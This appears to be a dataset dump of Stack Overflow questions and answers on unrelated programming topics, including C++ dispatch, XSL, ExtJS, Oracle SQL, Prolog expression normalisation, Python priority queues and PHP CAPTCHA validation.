1749604	0	 <p>Multi-dispatch is the ability to choose which version of a function to call based on the runtime type of the arguments passed to the function call.</p> <p>Here's an example that won't work right in C++ (untested):</p> <pre><code>class A { }; class B : public A { }; class C : public A { } class Foo { virtual void MyFn(A* arg1, A* arg2) { printf("A,A\n"); } virtual void MyFn(B* arg1, B* arg2) { printf("B,B\n"); } virtual void MyFn(C* arg1, B* arg2) { printf("C,B\n"); } virtual void MyFn(B* arg1, C* arg2) { printf("B,C\n"); } virtual void MyFn(C* arg1, C* arg2) { printf("C,C\n"); } }; void CallMyFn(A* arg1, A* arg2) { // ideally, with multi-dispatch, at this point the correct MyFn() // would be called, based on the RUNTIME type of arg1 and arg2 pFoo-&gt;MyFn(arg1, arg2); } ... A* arg1 = new B(); A* arg2 = new C(); // Using multi-dispatch this would print "B,C"... but because C++ only // uses single-dispatch it will print out "A,A" CallMyFn(arg1, arg2); </code></pre>
29051652	0	 <p>You can use the following</p> <p><code>var result = db.tableName.Where(o =&gt; mylist.conains(o.item_ID) &amp;&amp; o.readed).ToList();</code></p>
7592747	0	how to remove namespace and retain only some of the elements from the original XML document using XSL? <p>Below is my XML. I wanted to parse this using XSL. What I want to achieve is to remove the namespace (xmlns) then just retain some of the elements and their attributes. I found a way to remove the namespace but when I put it together with the code to retain some of the elements, it doesn't work. I already tried the identity but still didn't work. </p> <p>I hope someone out there could share something. Thank you very much in advance.</p> <p>XML Input:</p> <pre><code>&lt;Transaction xmlns="http://www.test.com/rdc.xsd"&gt; &lt;Transaction&gt; &lt;StoreName id="aa"&gt;STORE A&lt;/StoreName&gt; &lt;TransNo&gt;TXN0001&lt;/TransNo&gt; &lt;RegisterNo&gt;REG001&lt;/RegisterNo&gt; &lt;Items&gt; &lt;Item id="1"&gt; &lt;ItemID&gt;A001&lt;/ItemID&gt; &lt;ItemDesc&gt;Keychain&lt;/ItemDesc&gt; &lt;/Item&gt; &lt;Item id="2"&gt; &lt;ItemID&gt;A002&lt;/ItemID&gt; &lt;ItemDesc&gt;Wallet&lt;/ItemDesc&gt; &lt;/Item&gt; &lt;/Items&gt; &lt;IDONTLIKETHIS_1&gt; &lt;STOREXXX&gt;XXX-&lt;/STOREXXX&gt; &lt;TRANSXXX&gt;YYY&lt;/TRANSXXX&gt; &lt;/IDONTLIKETHIS_1&gt; &lt;IDONTLIKETHIS_2&gt; &lt;STOREXXX&gt;XXX-&lt;/STOREXXX&gt; &lt;TRANSXXX&gt;YYY&lt;/TRANSXXX&gt; &lt;/IDONTLIKETHIS_2&gt; &lt;/Transaction&gt; &lt;Transaction&gt; </code></pre> <p>Expected XML Output:</p> <pre><code>&lt;Transaction&gt; &lt;Transaction&gt; &lt;StoreName id="aa"&gt;STORE A&lt;/StoreName&gt; &lt;TransNo&gt;TXN0001&lt;/TransNo&gt; &lt;RegisterNo&gt;REG001&lt;/RegisterNo&gt; &lt;Items&gt; &lt;Item id="1"&gt; &lt;ItemID&gt;A001&lt;/ItemID&gt; &lt;ItemDesc&gt;Keychain&lt;/ItemDesc&gt; &lt;/Item&gt; &lt;Item id="2"&gt; &lt;ItemID&gt;A002&lt;/ItemID&gt; &lt;ItemDesc&gt;Wallet&lt;/ItemDesc&gt; &lt;/Item&gt; &lt;/Items&gt; &lt;/Transaction&gt; &lt;Transaction&gt; </code></pre> <p>Code used to remove the namespace (xmlns):</p> <pre><code>&lt;xsl:template match="*"&gt; &lt;xsl:element name="{local-name()}"&gt; &lt;xsl:apply-templates select="@*|node()"/&gt; &lt;/xsl:element&gt; &lt;/xsl:template&gt; &lt;xsl:template match="@*"&gt; &lt;xsl:attribute name="{local-name()}"&gt; &lt;xsl:value-of select="."/&gt; &lt;/xsl:attribute&gt; &lt;/xsl:template&gt; </code></pre>
16282192	0	 <p>To find the intersection of two curves:</p> <p>Declare g1 and g2 as explicit anonymous functions</p> <pre><code>g1 = @(x)(sqrt(2*x - 1)); g2 = @(x)(-0.4*x.^2 + 4.5); </code></pre> <p>Choose a range for x to test over:</p> <pre><code>xmin = 0; xmax = 100; xres = 0.1; x = xmin:xres:xmax; </code></pre> <p>Find in the curves</p> <pre><code>G1 = g1(x); G2 = g2(x); </code></pre> <p>Now find the index where the graphs cross each other:</p> <pre><code>ind = find(diff(G1 &gt; G2)); </code></pre> <p>Now it's easy to convert that index to an <code>x</code> value:</p> <pre><code>xval = xmin + (ind(1)-1)*xres </code></pre> <p><strong>EDIT:</strong></p> <p>So I'm assuming now that your (V1,V2) is just a unit direction vector from the origin? If so we can create a straight line y = mx+c and find where that intersect g1 and g2. </p> <pre><code>m = V2/V1; c = Y - m*X; line = @(x)(m*x + c); </code></pre> <p>now just follow the procedure above to find the point of intersection of <code>line</code> and <code>g1</code> and also of <code>line</code> and <code>g2</code>. If V1 is negative, then set <code>xmax = X</code> otherwise set <code>xmin = X</code> so that you look for the intersection point in the right direction. The <code>xval</code> line will probably error if there is no point of intersection so add some error checking in there. And then just pick the smallest xval if V1 was positive or the larger if V1 is negative</p> <pre><code>if V1 &gt;= 0 xmin = X; xmax = X + 100; else xmin = X - 100; xmax = X; end; xres = 0.1; x = xmin:xres:xmax; G1 = g1(x); G2 = g2(x); L = line(x); ind1 = find(diff(G1 &gt; L)); xval1 = xmin + (ind1(1)-1)*xres ind2 = find(diff(G2 &gt; L)); xval2 = xmin + (ind2(1)-1)*xres xval = (V1 &gt; 0)*max(xval1, xval2) + (V2 &lt; 0)*max(xval1, xval2); yval = line(xval); </code></pre>
4675010	0	 <p>Process isOK your window.confirm within the function of the button</p> <pre><code>$('#button1').click(function(){ if(window.confirm("Are you sure?")) alert('Your action here'); }); </code></pre> <p>The issue you're going to have is the click has already happened when you trigger your "Are You Sure" Calling preventDefault doesn't stop the execution of the original click if it's the one that launched your original window.confirm. </p> <p>Bit of a chicken/egg problem.</p> <p>Edit: after reading your edited question:</p> <pre><code> var myClick = null; //get a list of jQuery handlers bound to the click event var jQueryHandlers = $('#button1').data('events').click; //grab the first jquery function bound to this event $.each(jQueryHandlers,function(i,f) { myClick = f.handler; return false; }); //unbind the original $('#button1').unbind('click'); //bind the modified one $('#button1').click(function(){ if(window.confirm("Are You Sure?")){ myClick(); } else { return false; } }); </code></pre>
35313683	0	Can´t load store of a combo in ExtJS4 <p>I can´t load the store data when the view is loaded. This is my store: (strEstadosMtoOrganismos.js)</p> <pre><code>Ext.define('TelicitaApp.store.filtros.strEstadosMtoOrganismos', { extend: 'Ext.data.Store', model: 'TelicitaApp.model.filtros.mdlEstadosMtoOrganismos', autoLoad: false, proxy: { type: 'ajax', api: {read: './data/php/filtros/Tmc_EstadosMtoOrganismos.php?despliegue='+TelicitaApp.Settings.despliegue}, reader: { type: 'json', root: 'data', totalProperty: 'total', successProperty: 'success' } } }); </code></pre> <p>This is my view: (viewGridMtoOrganismos.js)</p> <pre><code>Ext.define('TelicitaApp.view.mantenimientos.organismos.viewGridMtoOrganismos', { extend: 'Ext.grid.Panel', alias: 'widget.viewGridMtoOrganismos', requires: [ ], initComponent: function() { var toolbar1 = { xtype : 'toolbar', dock : 'top', items: [ { iconCls:'limpiar-icon', text:'Limpiar', handler: function() {}, }, '-&gt;', { iconCls:'refresh', text:'Recargar', handler: function() {}, } ] }; var toolbar2 = { xtype: 'toolbar', dock: 'top', items: [ {text:'&lt;span style="color:#C85E00;"&gt;Estado&lt;/span&gt;'}, { xtype: 'combo', value: 'Todos', queryMode: 'remote', triggerAction: 'all', editable: false, displayField: 'label', valueField: 'value', store: 'filtros.strEstadosMtoOrganismos' } ] } Ext.apply(this, { frame: true, bodyPadding: '5 5 0', fieldDefaults: { labelAlign: 'top', msgTarget: 'side' }, forceFit: true, height: 300, stripeRows: true, loadMask: true, tbar: { xtype: 'container', layout: 'anchor', defaults: {anchor: '0'}, defaultType: 'toolbar', items: [ toolbar1,toolbar2 ] }, columns: [ {header:'&lt;span style="color:blue;"&gt;Id&lt;/span&gt;', xtype: 'numbercolumn',format:'0', width:35, sortable: true}, ] }); this.callParent(arguments); } }); </code></pre> <p>This is my controller: (ctrlMtoOrganismos.js)</p> <pre><code>Ext.define('TelicitaApp.controller.ctrlMtoOrganismos', { extend: 'Ext.app.Controller', models:[ 'mantenimientos.organismos.mdlMtoOrganismos', 'filtros.mdlEstadosMtoOrganismos' ], stores:[ 'mantenimientos.organismos.strMtoOrganismos', 'filtros.strEstadosMtoOrganismos' ], views: [ 'mantenimientos.organismos.viewModuloMtoOrganismos' ], refs: [ ], init: function() { this.control({ }); }, onLaunch: function() { }, }); </code></pre> <p>If I set the autoload property in the store to true,it load the data when the app launch.But I want to load the data when the view is loaded. Once the view is loaded,if i expand the combo it launch the php file taht fills the combo,but I want it to load the data automatically after the view is loaded,not when you expand the combo.</p>
16397973	0	 <p>You cant fill <code>std::vector</code> using memcpy (Well.. there is a way, but for you is better to think it as if not). Use <code>std::copy</code> or fill it by yourself.</p>
14380983	0	SQL Error: ORA-00904: : invalid identifier in CREATE AS SELECT <p>I am trying to create a table from 2 other tables in Oracle SQL Developer:</p> <pre><code>CREATE TABLE share_stock( share_id NUMBER(6,0), share_price NUMBER(10,2), company_id NUMBER(6,0), company_name VARCHAR2(50), ticker_symbol VARCHAR2(4), AS SELECT share_price.share_price_id, share_price.price, share_price.company_id, company.name, company.ticker_symbol FROM share_price, company WHERE share_price.company_id = company.company_id, CONSTRAINT sh_pk PRIMARY KEY (share_price.share_price_id), CONSTRAINT sh_pr_fk FOREIGN KEY (share_price.share_price_id) REFERENCES share_price(share_price_id) ); </code></pre> <p>Basically I am trying to perform a CREATE AS SELECT, but I am getting this error:</p> <blockquote> <p>Error at Command Line:294 Column:28 Error report: SQL Error: ORA-00904: : invalid identifier 00904. 00000 - "%s: invalid identifier"</p> </blockquote> <p>I have tried to correct my syntax and I have not managed to get it right so far, Any ideas would be helpful,</p> <p>Thanks in advance.</p>
14841031	0	 <p>All you have to do is correct your signatures like so:</p> <pre><code>const T&amp; operator [](char* b) const; T&amp; operator [](char* b); </code></pre> <p>I've removed the <code>const</code> qualifier from the second operator.</p> <blockquote> <p>if I use <code>AssArray["llama"]=T</code>, how am I supposed to get the value of T into the operator overloading-function?</p> </blockquote> <p>You don't. You just return a reference to where the new value should be stored, and the compiler will take care of the rest. If <code>"llama"</code> does not exist in the array, you need to create an entry for it, and return a reference to that entry.</p>
13068898	0	 <p>I don't know how many frames you have in the <code>scene1</code>. But I am sure if your code is in the first frame of <code>scene 1</code> you can't see that because you haven't stopped there rather you are playing it to what is next(<code>gotoAndPlay</code>). So, if you want to see the changes made dynamically you should stop there(where your code is).</p> <p>The Other Issue. In AS3, If you do some dynamic actions in the stage like the following, then it won't get removed when you moving to another scene.</p> <ol> <li>add a movieclip,</li> <li>swap depth or changing child index,</li> <li>start drag and so on.</li> </ol> <p>I hope there is only one <code>stage</code> for the whole application. So, the objects in the stage are always visible regardless of what scene we are in.</p>
9969236	1	How to implement Priority Queues in Python? <p>Sorry for such a silly question but Python docs are confusing.. . </p> <p><strong>Link 1: Queue Implementation</strong> <a href="http://docs.python.org/library/queue.html">http://docs.python.org/library/queue.html</a></p> <p>It says thats Queue has a contruct for priority queue. But I could not find how to implement it.</p> <pre><code>class Queue.PriorityQueue(maxsize=0) </code></pre> <p><strong>Link 2: Heap Implementation</strong> <a href="http://docs.python.org/library/heapq.html">http://docs.python.org/library/heapq.html</a></p> <p>Here they says that we can implement priority queues indirectly using heapq</p> <pre><code>pq = [] # list of entries arranged in a heap entry_finder = {} # mapping of tasks to entries REMOVED = '&lt;removed-task&gt;' # placeholder for a removed task counter = itertools.count() # unique sequence count def add_task(task, priority=0): 'Add a new task or update the priority of an existing task' if task in entry_finder: remove_task(task) count = next(counter) entry = [priority, count, task] entry_finder[task] = entry heappush(pq, entry) def remove_task(task): 'Mark an existing task as REMOVED. Raise KeyError if not found.' entry = entry_finder.pop(task) entry[-1] = REMOVED def pop_task(): 'Remove and return the lowest priority task. Raise KeyError if empty.' while pq: priority, count, task = heappop(pq) if task is not REMOVED: del entry_finder[task] return task raise KeyError('pop from an empty priority queue' </code></pre> <p>Which is the most efficient priority queue implementation in python? And how to implement it? </p>
18494742	0	 <p>you need to <a href="http://qt-project.org/doc/qt-4.8/qobject.html#installEventFilter" rel="nofollow">install an event filter</a>, there is a nice example in documentation. </p>
9220667	0	 <p>As Diodeus said, <a href="http://seleniumhq.org/" rel="nofollow">Selenium</a> is probably the most popular browser automation library right now (I believe Facebook uses it). Other frameworks you may wish to investigate:</p> <ul> <li><a href="http://watir.com/" rel="nofollow">Watir</a></li> <li><a href="http://www.getwindmill.com/" rel="nofollow">Windmill</a></li> <li><a href="http://sahi.co.in/w/" rel="nofollow">Sahi</a></li> </ul> <p>In addition, you'll want to consider cross-browser testing when setting up an automated suite of tests. You can roll your own for this, or if you'd rather throw money at the problem, <a href="http://www.browserstack.com/automated-browser-testing-api" rel="nofollow">BrowserStack</a> now offers an API that allows your tests to run on a range of browsers.</p>
6007932	0	securimage validation <p>hi everyone i am trying to get validate captcha on my form but i would like validation to take place on the form without a change of state. </p> <p>currently the page refreshes to display the error message and the page loses all form values and i can understand that this can be frustrating to users who have to retype the information.</p> <p>how can i get the error message to display right below the captcha image area? this way the user can make the necessary corrections to their mistake without re-entering everything.</p> <pre><code>&lt;?php session_start(); include_once ("resources/Connections/kite.php"); include_once $_SERVER['DOCUMENT_ROOT'] . '/securimage/securimage.php'; $securimage = new Securimage(); ?&gt; &lt;div class="c13"&gt; &lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt; &lt;tr&gt; &lt;td width="69%" align="center"&gt;&lt;p class="c6"&gt;New Account&lt;/p&gt; &lt;?php $username = mysql_real_escape_string($_POST['username']); $email = mysql_real_escape_string($_POST['email']); $password = mysql_real_escape_string($_POST['password']); $password = mysql_real_escape_string($_POST['password2']); //check if the form has been submitted if(isset($_POST['submit'])){ if ($securimage-&gt;check($_POST['captcha_code']) == false) { // the code was incorrect // you should handle the error so that the form processor doesn't continue // or you can use the following code if there is no validation or you do not know how echo "The security code entered was incorrect.&lt;br /&gt;&lt;br /&gt;"; echo "Please go &lt;a href='javascript:history.go(-1)'&gt;back&lt;/a&gt; and try again."; } else //success echo '&lt;p class="c7"&gt;Thanks for signing up. We have just sent you an email at &lt;b&gt;'.$email.'&lt;/b&gt;. Please click on the confirmation link within this message to complete registration.&lt;br&gt;&lt;img src="resources/img/spacer.gif" alt="" width="1" height="20"&gt;&lt;br&gt;&lt;span class="c12"&gt; &lt;input name="" type="button" class="c11" value="Register" onClick="location.href=\'main.php\'"/&gt; &lt;/span&gt;&lt;br&gt;&lt;img src="resources/img/spacer.gif" alt="" width="1" height="15"&gt;&lt;/p&gt;&lt;/div&gt;'; include_once ("resources/php/footer.php"); exit; } ?&gt; &lt;p class="c7"&gt;Just enter your details to get started&lt;/p&gt; &lt;div class="c10"&gt; &lt;form action="&lt;?php echo $PHP_SELF;?&gt;" method="post" id="register" name="register"&gt; &lt;table width="100%" border="0" cellpadding="0" cellspacing=""&gt; &lt;tr&gt; &lt;td colspan="3" class="c8" height="25px" valign="bottom"&gt;Username&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td width="46%"&gt;&lt;/td&gt; &lt;td width="46%"&gt;&lt;/td&gt; &lt;td width="54%" class="c8"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan="3" class="c8"&gt;&lt;span id="sprytextfield2"&gt; &lt;input name="username" type="text" class="required"/&gt; &lt;span class="textfieldRequiredMsg"&gt;A value is required.&lt;/span&gt;&lt;span class="textfieldMaxCharsMsg"&gt;Exceeded maximum number of characters.&lt;/span&gt;&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan="3" class="c8" height="25px" valign="bottom"&gt;Email&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;td class="c8"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan="3" class="c8"&gt;&lt;span id="sprytextfield3"&gt; &lt;input name="email" type="text" class="required"/&gt; &lt;span class="textfieldRequiredMsg"&gt;A value is required.&lt;/span&gt;&lt;span class="textfieldMaxCharsMsg"&gt;Exceeded maximum number of characters.&lt;/span&gt;&lt;span class="textfieldInvalidFormatMsg"&gt;Invalid format.&lt;/span&gt;&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan="3" class="c8" height="25px" valign="bottom"&gt;Password (minimum of 8 characters)&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;td class="c8"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan="3" class="c8"&gt;&lt;span id="sprytextfield4"&gt; &lt;input name="password" type="password" class="required" id="password"/&gt; &lt;span class="textfieldRequiredMsg"&gt;A value is required.&lt;/span&gt;&lt;span class="textfieldMinCharsMsg"&gt;Minimum number of characters not met.&lt;/span&gt;&lt;span class="textfieldMaxCharsMsg"&gt;Exceeded maximum number of characters.&lt;/span&gt;&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan="3" class="c8" height="25px" valign="bottom"&gt;Confirm Password&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;td class="c8"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan="3" class="c8"&gt;&lt;span id="spryconfirm1"&gt; &lt;input name="password2" type="password" class="required"/&gt; &lt;span class="confirmRequiredMsg"&gt;A value is required.&lt;/span&gt;&lt;span class="confirmInvalidMsg"&gt;The values don't match.&lt;/span&gt;&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan="3" class="c8" height="25px" valign="bottom"&gt;Enter Code&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan="3" class="c8"&gt;&lt;img id="captcha" src="resources/securimage/securimage_show.php" alt="CAPTCHA Image" /&gt;&amp;nbsp; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan="3" class="c8"&gt;&lt;input type="text" name="captcha_code" size="10" maxlength="6" /&gt; &lt;a href="#" onclick="document.getElementById('captcha').src = 'resources/securimage/securimage_show.php?' + Math.random(); return false"&gt;Swap image&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan="3" class="c8"&gt;&lt;span class="c12"&gt;&lt;img src="resources/img/spacer.gif" width="1" height="40" alt="" /&gt;&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan="3" class="c8"&gt;&lt;span class="c12"&gt; &lt;input name="submit" type="submit" class="c11" value="Continue"/&gt; &lt;/span&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/form&gt; &lt;/div&gt; &lt;br /&gt;&lt;/td&gt; &lt;td width="31%" valign="middle" align="center"&gt;&amp;nbsp;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/div&gt; </code></pre>
14072639	0	Reading SyndicationFeed in ThreadPool.RunAsync <p>I'm developing a Windows 8 Metro RSS Feed app. Therefore I'm implementing a Background Task to check if new feeds are available and inform the user if so. I do this as follows:</p> <pre><code>public sealed class UpdateCheck : IBackgroundTask { public async void Run(IBackgroundTaskInstance taskInstance) { BackgroundTaskDeferral backgroundTaskDeferral = taskInstance.GetDeferral(); await StartUpdateCheck(); backgroundTaskDeferral.Complete(); } public IAsyncAction StartUpdateCheck() { return ThreadPool.RunAsync(async o =&gt; { SyndicationClient client = new SyndicationClient(); SyndicationFeed feed = await client.RetrieveFeedAsync(new Uri("http://.../feed.xml")); ApplicationDataContainer applicationDataContainer = ApplicationData.Current.LocalSettings; string lastFeedId = (string) applicationDataContainer.Values["LastFeedId"]; if (lastFeedId != feed.Items.First().Id) { // inform user } }); } } </code></pre> <p>When I'm debugging the code and i want to step over the line <code>SyndicationFeed feed = await client.RetrieveFeedAsync(new Uri("http://.../feed.xml"));</code> by hitting F10, nothing happens. The further code lines don't get executed. So, when i set a breakpoint <em>before</em> the <code>RetrieveFeedAsync</code> method, the breakpoint gets hit. <em>After</em> this line, no breakpoint gets hit.</p> <p>I'm reading the RSS-Feeds on another position in the code, which is not a BackgroundTask (and not in a <code>ThreadPool.RunAsync</code> lambda expression) and there everything works fine, so the <code>ThreadPool.RunAsync</code> method might causes the problem.</p>
12666182	0	 <p>Math expressions can be very complex, I presume you are referring to arithmetic instead. The normal form (I hope my wording is appropriate) is 'sum of monomials'.</p> <p>Anyway, it's not an easy task to solve generally, and there is an ambiguity in your request: 2 expressions can be syntactically different (i.e. their syntax tree differ) but still have the same value. Obviously this is due to operations that leave unchanged the value, like adding/subtracting 0.</p> <p>From your description, I presume that you are interested in 'evaluated' identity. Then you could normalize both expressions, before comparing for equality.</p> <p>To evaluate syntactical identity, I would remove all parenthesis, 'distributing' factors over addends. The expression become a list of multiplicative terms. Essentially, we get a list of list, that can be sorted without changing the 'value'.</p> <p>After the expression has been flattened, all multiplicative constants must be accumulated. </p> <p>a simplified example:</p> <p><code>a+(b+c)*5</code> will be <code>[[1,a],[b,5],[c,5]]</code> while <code>a+5*(c+b)</code> will be <code>[[1,a],[5,c],[5,b]]</code></p> <p><strong>edit</strong> after some improvement, here is a <em>very</em> essential normalization procedure:</p> <pre><code>:- [library(apply)]. arith_equivalence(E1, E2) :- normalize(E1, N), normalize(E2, N). normalize(E, N) :- distribute(E, D), sortex(D, N). distribute(A, [[1, A]]) :- atom(A). distribute(N, [[1, N]]) :- number(N). distribute(X * Y, L) :- distribute(X, Xn), distribute(Y, Yn), % distribute over factors findall(Mono, (member(Xm, Xn), member(Ym, Yn), append(Xm, Ym, Mono)), L). distribute(X + Y, L) :- distribute(X, Xn), distribute(Y, Yn), append(Xn, Yn, L). sortex(L, R) :- maplist(msort, L, T), maplist(accum, T, A), sumeqfac(A, Z), exclude(zero, Z, S), msort(S, R). accum(T2, [Total|Symbols]) :- include(number, T2, Numbers), foldl(mul, Numbers, 1, Total), exclude(number, T2, Symbols). sumeqfac([[N|F]|Fs], S) :- select([M|F], Fs, Rs), X is N+M, !, sumeqfac([[X|F]|Rs], S). sumeqfac([F|Fs], [F|Rs]) :- sumeqfac(Fs, Rs). sumeqfac([], []). zero([0|_]). mul(X, Y, Z) :- Z is X * Y. </code></pre> <p>Some test:</p> <pre><code>?- arith_equivalence(a+(b+c), (a+c)+b). true . ?- arith_equivalence(a+b*c+0*77, c*b+a*1). true . ?- arith_equivalence(a+a+a, a*3). true . </code></pre> <p>I've used some SWI-Prolog builtin, like include/3, exclude/3, foldl/5, and <a href="http://www.swi-prolog.org/pldoc/doc_for?object=msort/2" rel="nofollow">msort</a>/2 to avoid losing duplicates.</p> <p>These are basic <a href="http://www.swi-prolog.org/pldoc/doc_for?object=section%282,%27A.2%27,swi%28%27/doc/Manual/apply.html%27%29%29" rel="nofollow">list manipulation</a> builtins, easily implemented if your system doesn't have them.</p> <p><strong>edit</strong></p> <p>foldl/4 as defined in SWI-Prolog apply.pl:</p> <pre><code>:- meta_predicate foldl(3, +, +, -). foldl(Goal, List, V0, V) :- foldl_(List, Goal, V0, V). foldl_([], _, V, V). foldl_([H|T], Goal, V0, V) :- call(Goal, H, V0, V1), foldl_(T, Goal, V1, V). </code></pre> <p><strong>handling division</strong></p> <p>Division introduces some complexity, but this should be expected. After all, it introduces a full <em>class</em> of numbers: rationals.</p> <p>Here are the modified predicates, but I think that the code will need much more debug. So I allegate also the 'unit test' of what this micro rewrite system can solve. Also note that I didn't introduce the negation by myself. I hope you can work out any required modification.</p> <pre><code>/* File: arith_equivalence.pl Author: Carlo,,, Created: Oct 3 2012 Purpose: answer to http://stackoverflow.com/q/12665359/874024 How to check if two math expressions are the same? I warned that generalizing could be a though task :) See the edit. */ :- module(arith_equivalence, [arith_equivalence/2, normalize/2, distribute/2, sortex/2 ]). :- [library(apply)]. arith_equivalence(E1, E2) :- normalize(E1, N), normalize(E2, N), !. normalize(E, N) :- distribute(E, D), sortex(D, N). distribute(A, [[1, A]]) :- atom(A). distribute(N, [[N]]) :- number(N). distribute(X * Y, L) :- distribute(X, Xn), distribute(Y, Yn), % distribute over factors findall(Mono, (member(Xm, Xn), member(Ym, Yn), append(Xm, Ym, Mono)), L). distribute(X / Y, L) :- normalize(X, Xn), normalize(Y, Yn), divide(Xn, Yn, L). distribute(X + Y, L) :- distribute(X, Xn), distribute(Y, Yn), append(Xn, Yn, L). sortex(L, R) :- maplist(dsort, L, T), maplist(accum, T, A), sumeqfac(A, Z), exclude(zero, Z, S), msort(S, R). dsort(L, S) :- is_list(L) -&gt; msort(L, S) ; L = S. divide([], _, []). divide([N|Nr], D, [R|Rs]) :- ( N = [Nn|Ns], D = [[Dn|Ds]] -&gt; Q is Nn/Dn, % denominator is monomial remove_common(Ns, Ds, Ar, Br), ( Br = [] -&gt; R = [Q|Ar] ; R = [Q|Ar]/[1|Br] ) ; R = [N/D] % no simplification available ), divide(Nr, D, Rs). remove_common(As, [], As, []) :- !. remove_common([], Bs, [], Bs). remove_common([A|As], Bs, Ar, Br) :- select(A, Bs, Bt), !, remove_common(As, Bt, Ar, Br). remove_common([A|As], Bs, [A|Ar], Br) :- remove_common(As, Bs, Ar, Br). accum(T, [Total|Symbols]) :- partition(number, T, Numbers, Symbols), foldl(mul, Numbers, 1, Total), !. accum(T, T). sumeqfac([[N|F]|Fs], S) :- select([M|F], Fs, Rs), X is N+M, !, sumeqfac([[X|F]|Rs], S). sumeqfac([F|Fs], [F|Rs]) :- sumeqfac(Fs, Rs). sumeqfac([], []). zero([0|_]). mul(X, Y, Z) :- Z is X * Y. :- begin_tests(arith_equivalence). test(1) :- arith_equivalence(a+(b+c), (a+c)+b). test(2) :- arith_equivalence(a+b*c+0*77, c*b+a*1). test(3) :- arith_equivalence(a+a+a, a*3). test(4) :- arith_equivalence((1+1)/x, 2/x). test(5) :- arith_equivalence(1/x+1, (1+x)/x). test(6) :- arith_equivalence((x+a)/(x*x), 1/x + a/(x*x)). :- end_tests(arith_equivalence). </code></pre> <p>running the unit test:</p> <pre><code>?- run_tests(arith_equivalence). % PL-Unit: arith_equivalence ...... done % All 6 tests passed true. </code></pre>
18413675	0	 <ol> <li>Prepare a dictionary to store the results.</li> <li>Get the numbers of line with data you have using xlrd, then iterate over each of them. </li> <li>For each state code, if it's not <code>in</code> the dict, you create it also as a dict.</li> <li><p>Then you check if the entry you read on the second column exists within the state key on your results dict.</p> <p>4.1 If it does not, you'll create it also as a dict, and add the number found on the second column as a key to this dict, with a value of one.</p> <p>4.2 If it does, just increment the value for that key (+1).</p></li> </ol> <p>Once it has finished looping, your result dict will have the count for each individual entry on each individual state.</p>
31685896	0	 <p>You can also try and use the center tag and put everything in between.Not the best way, but it works. &lt; center> &lt; /center></p>
11689759	0	 
11943350	0	Asynchronous vs Synchronous WebRequest, is it necessary? <p><strong>Background:</strong></p> <p>I am writing a RouteHandler as part of my MVC3 solution. It purpose is to get images and files from my cloud storage and deliver them to the browser while masking the cloud storage urls.</p> <p>So every thing from the "media" sub-domain gets routed to my MediaRouteHandler where I have implemented the logic to get the images.</p> <p>I am struggling to get an asynchronous implementation for the HttpWebRequest. At best it behaves erratically. Sometimes bringing down the images correctly sometimes not.</p> <p><strong>Question:</strong></p> <p>So, my question is.</p> <p>Does a standard browser load images synchronously or asynchronously? Or am I trying to do something that even the browsers don't generally do (and just wasting my time).</p> <p>i.e. If the default way a browser gets an image is from a synchronous thread, then I am happy just doing that. </p> <p>Is that the case?</p> <p>Thanks.</p> <p><strong>A bit of testing:</strong></p> <p>This is the result of my synchronous route handler. You will see that the image requests overlap, and by using fiddler to mimic modem download speeds, I can see them coming down at the same time at different speeds.</p> <p><img src="https://i.stack.imgur.com/hKrHv.jpg" alt="Synchronous Download Speeds"></p>
7447069	0	C++, diamond inheritance, where/when do pure virtuals need to be implemented? <p>C++: I have a base class A with a pure virtual function f() and then two classes B and C inherit virtually from A, and a class D that inherits from both B and C (the typical diamond structure):</p> <pre><code> A f() = 0 v/ \v B C \ / D </code></pre> <p>Where and when does f() = 0 need to be implemented in the following cases?</p> <ol> <li>Both B and C have also pure virtual functions (-> do abstract classes <em>must</em> implement inherited pure virtuals?)</li> <li>Only one of them (B XOR C) has a pure virtual function (-> does the other still <em>must</em> implement f()?)</li> <li>Neither B nor C have pure virtuals of their own (-> possible way to skip implementation in B and C and "pass it through" to D?)</li> <li>In which of the three above cases does D need to implement f()? In which cases is it optionally for D to implement f()? In which cases, if any, is it not possible for D to implement f()?</li> </ol> <p>Are there any other common suggestions for these kind of problems?</p> <p>Thanks.</p>
22297916	1	Fielding numbers using < and > values <p>So i wish to field these numbers into groups as you can see below, the and is incorrect and wish to know the correct method of doing so.</p> <p>After the "if" the code it assigns the a rating that co-incides with the score and then 1 is added to a counter that counts the number of groups with that rating. </p> <pre><code>#determining the meal rating and counting number of applied ratings and priniting def mealrating(score): for x in range(0,len(score)): if 1 &lt; and score[x] &gt;3: review[x] = poor p = p + 1 if 4 &lt; and score[x] &gt;6: review[x] = good g = g + 1 if 7 &lt; and score[x] &gt;10: review[x] = excellent e = e + 1 print('\n') print('%10s' % ('Poor:', p )) print('%10s' % ('Good', g )) print('%10s' % ('Excellent', e )) </code></pre>
